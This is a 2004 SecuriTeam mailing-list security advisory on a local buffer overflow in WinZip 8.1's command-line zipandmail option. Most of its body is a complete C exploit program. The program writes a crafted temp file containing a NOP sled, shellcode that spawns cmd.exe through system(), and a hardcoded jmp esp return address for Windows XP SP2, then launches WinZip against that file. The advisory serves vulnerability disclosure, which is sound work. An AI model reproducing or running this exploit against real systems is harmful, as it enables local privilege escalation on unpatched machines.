[EXPL] WinZip Local Buffer Overflow (Exploit)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  WinZip Local Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.winzip.com/> WinZip is - "The original and most popular of 
all Windows Zip file utilities."

By zipping a file with the zipandmail switch of WinZip command line tool, 
a local user can gain elevated privileges by exploiting a buffer overflow 
in the program.

DETAILS

Vulnerable Systems:
 * WinZip version 8.1

Immune Systems:
 * WinZip version 9.0 SR-1 (download  <http://www.winzip.com/wz90sr1.htm> 
here)

Exploit:
/*
*
* WinZip Command Line Local Buffer Overflow
* http://securitytracker.com/alerts/2004/Sep/1011132.html
* http://www.winzip.com/wz90sr1.htm
* Exploit coded By ATmaCA
* Web: atmacasoft.com && spyinstructors.com
* E-Mail: atmaca at icqmail
* Credit to kozan
*
*/

/*
*
* Tested with WinZip 8.1 on Win XP Sp2 En
* Bug Fixed on WinZip 9.0 Service Release 1 (SR-1)
* http://www.winzip.com/wz90sr1.htm
*
*/

#include <windows.h>
#include <stdio.h>

#define NOP 0x90

void main()
{
        // create crafted command line
        char tmpfile[] = "c:\\wzs45.tmp";
        char winzippath[] = "C:\\Program Files\\WINZIP\\winzip32.exe";
        char zipandmailpar[] = " -* /zipandmail /@  ";
        char runpar[300];
        int i = 0;
        strcpy(runpar,winzippath);
        strcat(runpar,zipandmailpar);
        strcat(runpar,tmpfile);

        // need for some input file name .tmp but not must to exist
        char inputfile[] = "C:\\someinputfile.ext\n";

        // launch a local cmd.exe
        char shellcode[] =
        "\x55\x8B\xEC\x33\xFF"
        "\x57\x83\xEC\x04\xC6\x45\xF8"
        "\x63\xC6\x45\xF9\x6D\xC6\x45"
        "\xFA\x64\xC6\x45\xFB\x2E\xC6"
        "\x45\xFC\x65\xC6\x45\xFD\x78"
        "\xC6\x45\xFE\x65\xB8"
        "\xC7\x93\xC2\x77" //77C293C7 system() - WinXP SP2 - msvcrt.dll
        "\x50\x8D\x45\xF8\x50"
        "\xFF\x55\xF4";

        // create crafted .tmp file
        FILE *di;
        if( (di=fopen(tmpfile,"wb")) == NULL ){
                return;
        }

        for(i=0;i<sizeof(inputfile)-1;i++)
                fputc(inputfile[i],di);

        fprintf(di,"c:\\");

        for(i=0;i<384;i++)
                fputc(NOP,di);


        for(i=0;i<sizeof(shellcode)-1;i++)
                fputc(shellcode[i],di);

        fprintf(di,"\xBF\xAC\xDA\x77");  //EIP - WinXp Sp2 Eng - jmp esp 
addr
        fprintf(di,"\x90\x90\x90\x90");  //NOPs
        fprintf(di,"\x90\x83\xEC\x74");  //sub esp,0x74
        fprintf(di,"\xFF\xE4\x90\x90");  //jmp esp

        fprintf(di,"\n");

        fclose(di);
        WinExec(runpar,SW_SHOW);
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:atmaca@icqmail.com> ATmaCA.
The original article can be found at:  
<http://securitytracker.com/alerts/2004/Sep/1011132.html> 
http://securitytracker.com/alerts/2004/Sep/1011132.html



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.